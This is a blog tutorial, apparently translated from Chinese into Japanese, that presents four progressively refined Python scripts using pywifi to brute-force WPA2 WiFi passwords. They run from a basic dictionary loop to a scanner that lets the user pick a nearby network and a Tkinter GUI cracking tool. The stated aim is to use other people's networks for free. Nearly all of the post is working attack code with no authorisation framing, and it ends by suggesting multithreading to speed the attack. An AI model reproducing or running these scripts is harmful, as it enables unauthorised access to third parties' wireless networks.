banner
andrewji8

Being towards death

Heed not to the tree-rustling and leaf-lashing rain, Why not stroll along, whistle and sing under its rein. Lighter and better suited than horses are straw sandals and a bamboo staff, Who's afraid? A palm-leaf plaited cape provides enough to misty weather in life sustain. A thorny spring breeze sobers up the spirit, I feel a slight chill, The setting sun over the mountain offers greetings still. Looking back over the bleak passage survived, The return in time Shall not be affected by windswept rain or shine.
telegram
twitter
github

Pythonを使ってWiFiパスワードを解読する、ここが最も完全です!

前言
本文将记录学习下如何通过 Python スクリプトで WIFI パスワードのブルートフォース攻撃を実現し、無料でネットワークを利用する方法。

グラフィカルインターフェースなし#

まずはグラフィカルインターフェースのないブルートフォーススクリプトを見てみましょう。
WIFI ブルートフォース、無駄話はせずに直接コードを見てみましょう。理解できない初心者はコードを ChatGPT にコピーして、一行ずつ説明してもらうことができます。

import pywifi
from pywifi import const
import time
import datetime

# 接続テスト、接続結果を返す
def wifiConnect(pwd):
    # ネットワークカードインターフェースを取得
    wifi = pywifi.PyWiFi()
    # 最初の無線ネットワークカードを取得
    ifaces = wifi.interfaces()[0]
    # すべての接続を切断
    ifaces.disconnect()
    time.sleep(1)
    wifistatus = ifaces.status()
    if wifistatus == const.IFACE_DISCONNECTED:
        # WiFi接続ファイルを作成
        profile = pywifi.Profile()
        # 接続するWiFiの名前
        profile.ssid = "Tr0e"
        # ネットワークカードのオープン状態
        profile.auth = const.AUTH_ALG_OPEN
        # wifi暗号化アルゴリズム、一般的にwifi暗号化アルゴリズムはwps
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # 暗号化ユニット
        profile.cipher = const.CIPHER_TYPE_CCMP
        # パスワードを呼び出す
        profile.key = pwd
        # すべての接続済みWiFiファイルを削除
        ifaces.remove_all_network_profiles()
        # 新しい接続ファイルを設定
        tep_profile = ifaces.add_network_profile(profile)
        ifaces.connect(tep_profile)
        # wifi接続時間
        time.sleep(2)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
    else:
        print("既にwifiに接続されています")


# パスワードリストを読み込む
def readPassword():
    success = False
    print("****************** WIFI破解 ******************")
    # パスワードリストのパス
    path = "pwd.txt"
    # ファイルを開く
    file = open(path, "r")
    start = datetime.datetime.now()
    while True:
        try:
            pwd = file.readline()
            # パスワードの末尾の改行を削除
            pwd = pwd.strip('\n')
            bool = wifiConnect(pwd)
            if bool:
                print("[*] パスワードが解読されました:", pwd)
                print("[*] WiFiに自動接続しました!!!")
                success = True
                break
            else:
                # 現在のループを抜けて次のループへ
                print("SSID が %s の WIFI パスワードを解読中、現在検証中のパスワードは:%s"%("Tr0e",pwd))
        except:
            continue
    end = datetime.datetime.now()
    if(success):
        print("[*] 今回のWIFIパスワード解読にかかった時間:{}".format(end - start))
    else:
        print("[*] 残念ながら指定されたWIFIのパスワードを解読できませんでした。パスワード辞書を変更して再試行してください!")
    exit(0)


if __name__=="__main__":
    readPassword()

コードの実行結果:

image

スクリプトの最適化
上記のスクリプトは WIFI 名とブルートフォース辞書のパスを内蔵しており、柔軟性に欠けます。以下で改造・最適化します:

import pywifi
import time
from pywifi import const

# WiFiスキャンモジュール
def wifi_scan():
    # wifiを初期化
    wifi = pywifi.PyWiFi()
    # 最初の無線ネットワークカードを使用
    interface = wifi.interfaces()[0]
    # スキャンを開始
    interface.scan()
    for i in range(4):
        time.sleep(1)
        print('\r利用可能な WiFi をスキャン中です。しばらくお待ちください。。。(' + str(3 - i), end=')')
    print('\rスキャン完了!\n' + '-' * 38)
    print('\r{:4}{:6}{}'.format('番号', '信号強度', 'wifi名'))
    # スキャン結果、scan_results()は各wifiオブジェクトを格納する集合を返す
    bss = interface.scan_results()
    # wifi名を格納する集合
    wifi_name_set = set()
    for w in bss:
        # 文字化け問題を解決
        wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8'))
        wifi_name_set.add(wifi_name_and_signal)
    # リストに格納し、信号でソート
    wifi_name_list = list(wifi_name_set)
    wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True)
    num = 0
    # フォーマット出力
    while num < len(wifi_name_list):
        print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1]))
        num += 1
    print('-' * 38)
    # wifiリストを返す
    return wifi_name_list

# WIFI破解モジュール
def wifi_password_crack(wifi_name):
    # 辞書のパス
    wifi_dic_path = input("ローカルでWIFIブルートフォース攻撃に使用するパスワード辞書(txt形式、各パスワードは1行)のパスを入力してください:")
    with open(wifi_dic_path, 'r') as f:
        # パスワードをループ
        for pwd in f:
            # パスワードの末尾の改行を削除
            pwd = pwd.strip('\n')
            # wifiオブジェクトを作成
            wifi = pywifi.PyWiFi()
            # ネットワークカードオブジェクトを作成、最初のwifiネットワークカードのため
            interface = wifi.interfaces()[0]
            # すべてのwifi接続を切断
            interface.disconnect()
            # 切断を待つ
            while interface.status() == 4:
                # 接続状態のとき、ループで切断を待つ
                pass
            # 接続ファイル(オブジェクト)を作成
            profile = pywifi.Profile()
            # wifi名
            profile.ssid = wifi_name
            # 認証が必要
            profile.auth = const.AUTH_ALG_OPEN
            # wifiのデフォルト暗号化アルゴリズム
            profile.akm.append(const.AKM_TYPE_WPA2PSK)
            profile.cipher = const.CIPHER_TYPE_CCMP
            # wifiパスワード
            profile.key = pwd
            # すべてのwifi接続ファイルを削除
            interface.remove_all_network_profiles()
            # 新しいwifi接続ファイルを設定
            tmp_profile = interface.add_network_profile(profile)
            # 接続を試みる
            interface.connect(tmp_profile)
            start_time = time.time()
            while time.time() - start_time < 1.5:
                # インターフェースの状態が4は接続成功を示す(試行時間が1.5秒を超えると誤ったパスワードとなる。テストによると正しいパスワードは一般的に1.5秒以内に接続される。精度を高めるために2秒以上に設定することができ、相応にブルートフォース速度は遅くなる)
                if interface.status() == 4:
                    print(f'\r接続成功!パスワードは:{pwd}')
                    exit(0)
                else:
                    print(f'\rパスワード {pwd} を使って解読を試みています。', end='')
# メイン関数
def main():
    # 退出フラグ
    exit_flag = 0
    # 目標番号
    target_num = -1
    while not exit_flag:
        try:
            print('WiFi万能钥匙'.center(35, '-'))
            # スキャンモジュールを呼び出し、ソートされたwifiリストを返す
            wifi_list = wifi_scan()
            # ユーザーに解読したいwifi番号を選択させ、ユーザー入力の番号を判断し、例外処理を行う
            choose_exit_flag = 0
            while not choose_exit_flag:
                try:
                    target_num = int(input('解読したいwifiを選択してください:'))
                    # 選択したwifi番号がリスト内にある場合、二次判断を続け、そうでない場合は再入力
                    if target_num in range(len(wifi_list)):
                        # 二次確認
                        while not choose_exit_flag:
                            try:
                                choose = str(input(f'解読したいWiFi名は:{wifi_list[target_num][1]}、確定しますか?(Y/N)'))
                                # ユーザー入力を小文字に処理し、判断
                                if choose.lower() == 'y':
                                    choose_exit_flag = 1
                                elif choose.lower() == 'n':
                                    break
                                # ユーザーの他の文字入力を処理
                                else:
                                    print('Y/N のみ入力できますよo(* ̄︶ ̄*)o')
                            # ユーザーの非アルファベット入力を処理
                            except ValueError:
                                print('Y/N のみ入力できますよo(* ̄︶ ̄*)o')
                        # 解読を終了
                        if choose_exit_flag == 1:
                            break
                        else:
                            print('再入力してくださいね(*^▽^*)')
                except ValueError:
                    print('数字のみ入力できますよo(* ̄︶ ̄*)o')
            # パスワード解読、ユーザーが選択したwifi名を渡す
            wifi_password_crack(wifi_list[target_num][1])
            print('-' * 38)
            exit_flag = 1
        except Exception as e:
            print(e)
            raise e


if __name__ == '__main__':
    main()

image
上記のコードは、信号強度に基づいて近くのすべての WIFI 名を列挙し、ユーザーがブルートフォース攻撃を行う必要がある WIFI を自ら選択できるようにし、さらにブルートフォース攻撃の辞書を柔軟に指定できるようにしました。相対的に体験感が大幅に向上しました。さらに、上記のスクリプトをパッケージ化して exe ファイルを生成し、ダブルクリックで実行すると、以下のような効果が得られます:

image

グラフィカルインターフェース#

次に、Python の GUI グラフィカルインターフェース開発ライブラリ Tkinter を基にして、上記のスクリプトを最適化し、使いやすい可視化された WIFI ブルートフォース攻撃ツールを実現します。Tkinter ライブラリの構文については、Python GUI プログラミング (Tkinter) を参照してください。
簡易版 UI


from tkinter import *
from pywifi import const
import pywifi
import time


# 主なステップ:
# 1、最初の無線ネットワークカードを取得
# 2、すべてのwifiを切断
# 3、パスワードリストを読み込む
# 4、スリープ時間を設定
def wificonnect(str, wifiname):
    # ウィンドウの無線オブジェクト
    wifi = pywifi.PyWiFi()
    # 最初の無線ネットワークカードを取得
    ifaces = wifi.interfaces()[0]
    # すべてのwifiを切断
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status() == const.IFACE_DISCONNECTED:
        # wifi接続ファイルを作成
        profile = pywifi.Profile()
        profile.ssid = wifiname
        # wifiの暗号化アルゴリズム
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        # wifiのパスワード
        profile.key = str
        # ネットワークカードのオープン
        profile.auth = const.AUTH_ALG_OPEN
        # 暗号化ユニット、ここに暗号化ユニットを記入しないと接続できない
        profile.cipher = const.CIPHER_TYPE_CCMP
        # すべてのwifiファイルを削除
        ifaces.remove_all_network_profiles()
        # 新しい接続ファイルを設定
        tep_profile = ifaces.add_network_profile(profile)
        # 接続
        ifaces.connect(tep_profile)
        time.sleep(3)
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False


def readPwd():
    # wifi名を取得
    wifiname = entry.get().strip()
    path = r'./pwd.txt'
    file = open(path, 'r')
    while True:
        try:
            # 読み込み
            mystr = file.readline().strip()
            # 接続テスト
            bool = wificonnect(mystr, wifiname)
            if bool:
                text.insert(END, 'パスワードが正しい' + mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text.insert(END, 'パスワードが間違っています' + mystr)
                text.see(END)
                text.update()
        except:
            continue

# ウィンドウを作成
root = Tk()
root.title('wifi破解')
root.geometry('500x400')
# ラベル
label = Label(root, text='解読したいWIFI名を入力してください:')
# 配置
label.grid()
# 入力コントロール
entry = Entry(root, font=('微软雅黑', 14))
entry.grid(row=0, column=1)
# リストコントロール
text = Listbox(root, font=('微软雅黑', 14), width=40, height=10)
text.grid(row=1, columnspan=2)
# ボタン
button = Button(root, text='解読開始', width=20, height=2, command=readPwd)
button.grid(row=2, columnspan=2)
# ウィンドウを表示
root.mainloop()

スクリプトの実行結果:

image

UI アップグレード版#

上記のグラフィカルインターフェースではパスワード辞書を選択できないため、以下で最適化・アップグレードします:

from tkinter import *
from tkinter import ttk
import pywifi
from pywifi import const
import time
import tkinter.filedialog  # GUI でファイルブラウザを開く
import tkinter.messagebox  # tkinter のメッセージボックスを開く

class MY_GUI():
    def __init__(self, init_window_name):
        self.init_window_name = init_window_name
        # パスワードファイルのパス
        self.get_value = StringVar()  # 可変内容を設定
        # 解読するwifiアカウントを取得
        self.get_wifi_value = StringVar()
        # wifiパスワードを取得
        self.get_wifimm_value = StringVar()
        # ネットワークカードインターフェースを取得
        self.wifi = pywifi.PyWiFi()
        # 最初の無線ネットワークカードを取得
        self.iface = self.wifi.interfaces()[0]
        # 接続テスト、すべての接続を切断
        self.iface.disconnect()
        time.sleep(1)  # 1秒スリープ
        # ネットワークカードが切断状態であるかテスト
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]

    def __str__(self):
        # 自動的に呼び出される関数、ネットワークカードを返す
        return '(WIFI:%s,%s)' % (self.wifi, self.iface.name())
    # ウィンドウを設定
    def set_init_window(self):
        self.init_window_name.title("WIFI破解ツール")
        self.init_window_name.geometry('+500+200')
        labelframe = LabelFrame(width=400, height=200, text="設定")  # フレーム、以下のオブジェクトはlabelframeに追加される
        labelframe.grid(column=0, row=0, padx=10, pady=10)
        self.search = Button(labelframe, text="近くのWiFiを検索", command=self.scans_wifi_list).grid(column=0, row=0)
        self.pojie = Button(labelframe, text="解読開始", command=self.readPassWord).grid(column=1, row=0)
        self.label = Label(labelframe, text="ディレクトリパス:").grid(column=0, row=1)
        self.path = Entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1)
        self.file = Button(labelframe, text="パスワードファイルのディレクトリを追加", command=self.add_mm_file).grid(column=2, row=1)
        self.wifi_text = Label(labelframe, text="WiFiアカウント:").grid(column=0, row=2)
        self.wifi_input = Entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2)
        self.wifi_mm_text = Label(labelframe, text="WiFiパスワード:").grid(column=2, row=2)
        self.wifi_mm_input = Entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=W)
        self.wifi_labelframe = LabelFrame(text="wifiリスト")
        self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=NSEW)
        # ツリービューとスクロールバーを定義
        self.wifi_tree = ttk.Treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d"))
        self.vbar = ttk.Scrollbar(self.wifi_labelframe, orient=VERTICAL, command=self.wifi_tree.yview)
        self.wifi_tree.configure(yscrollcommand=self.vbar.set)
        # テーブルのタイトル
        self.wifi_tree.column("a", width=50, anchor="center")
        self.wifi_tree.column("b", width=100, anchor="center")
        self.wifi_tree.column("c", width=100, anchor="center")
        self.wifi_tree.column("d", width=100, anchor="center")
        self.wifi_tree.heading("a", text="WiFiID")
        self.wifi_tree.heading("b", text="SSID")
        self.wifi_tree.heading("c", text="BSSID")
        self.wifi_tree.heading("d", text="信号")
        self.wifi_tree.grid(row=4, column=0, sticky=NSEW)
        self.wifi_tree.bind("<Double-1>", self.onDBClick)
        self.vbar.grid(row=4, column=1, sticky=NS)

    # wifiを検索
    def scans_wifi_list(self):  # 周囲のwifiリストをスキャン
        # スキャンを開始
        print("^_^ 近くのwifiをスキャン中...")
        self.iface.scan()
        time.sleep(15)
        # 数秒後にスキャン結果を取得
        scanres = self.iface.scan_results()
        # 近くで発見されたホットスポットの数をカウント
        nums = len(scanres)
        print("数量: %s" % (nums))
        # 実際のデータ
        self.show_scans_wifi_list(scanres)
        return scanres
    # wifiリストを表示
    def show_scans_wifi_list(self, scans_res):
        for index, wifi_info in enumerate(scans_res):
            self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal))

    # パスワードファイルのディレクトリを追加
    def add_mm_file(self):
        self.filename = tkinter.filedialog.askopenfilename()
        self.get_value.set(self.filename)

    # Treeviewバインドイベント
    def onDBClick(self, event):
        self.sels = event.widget.selection()
        self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1])
    # パスワード辞書を読み込み、一致させる
    def readPassWord(self):
        self.getFilePath = self.get_value.get()
        self.get_wifissid = self.get_wifi_value.get()
        pwdfilehander = open(self.getFilePath, "r", errors="ignore")
        while True:
            try:
                self.pwdStr = pwdfilehander.readline()
                if not self.pwdStr:
                    break
                self.bool1 = self.connect(self.pwdStr, self.get_wifissid)
                if self.bool1:
                    self.res = "[*] パスワードが正しい!wifi名:%s、マッチしたパスワード:%s " % (self.get_wifissid, self.pwdStr)
                    self.get_wifimm_value.set(self.pwdStr)
                    tkinter.messagebox.showinfo('ヒント', '解読成功!!!')
                    print(self.res)
                    break
                else:
                    self.res = "[*] パスワードが間違っています!wifi名:%s、マッチしたパスワード:%s" % (self.get_wifissid, self.pwdStr)
                    print(self.res)
                time.sleep(3)
            except:
                continue

    # wifiとパスワードを一致させる
    def connect(self, pwd_Str, wifi_ssid):
        # wifi接続ファイルを作成
        self.profile = pywifi.Profile()
        self.profile.ssid = wifi_ssid  # wifi名
        self.profile.auth = const.AUTH_ALG_OPEN  # ネットワークカードのオープン
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)  # wifi暗号化アルゴリズム
        self.profile.cipher = const.CIPHER_TYPE_CCMP  # 暗号化ユニット
        self.profile.key = pwd_Str  # パスワード
        self.iface.remove_all_network_profiles()  # すべてのwifiファイルを削除
        self.tmp_profile = self.iface.add_network_profile(self.profile)  # 新しい接続ファイルを設定
        self.iface.connect(self.tmp_profile)  # 接続
        time.sleep(5)
        if self.iface.status() == const.IFACE_CONNECTED:  # 接続されているか判断
            isOK = True
        else:
            isOK = False
        self.iface.disconnect()  # 切断
        time.sleep(1)
        # 切断状態をチェック
        assert self.iface.status() in \
               [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]
        return isOK


def gui_start():
    init_window = Tk()
    ui = MY_GUI(init_window)
    print(ui)
    ui.set_init_window()
    init_window.mainloop()


if __name__ == "__main__":
    gui_start()

スクリプトの実行結果は以下の通りです:

image

以上は Python の GUI グラフィカルインターフェース開発ライブラリ Tkinter に基づいており、実際には Python の GUI プログラミングは PyQt5 を利用して自動的に UI コードを生成することもできます。

まとめ
本文では Python による WIFI パスワードのブルートフォース攻撃の方法、および Python GUI グラフィカルプログラミングの基本的な使用法を学びました。
示されたコードの欠点は、いずれも WIFI 接続テストにマルチスレッドを使用していないことです。実際、WIFI 接続テストには一定の時間(3-5 秒)が必要であるため、マルチスレッドを使用することでブルートフォース攻撃プロセスの待機時間を短縮できます。

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。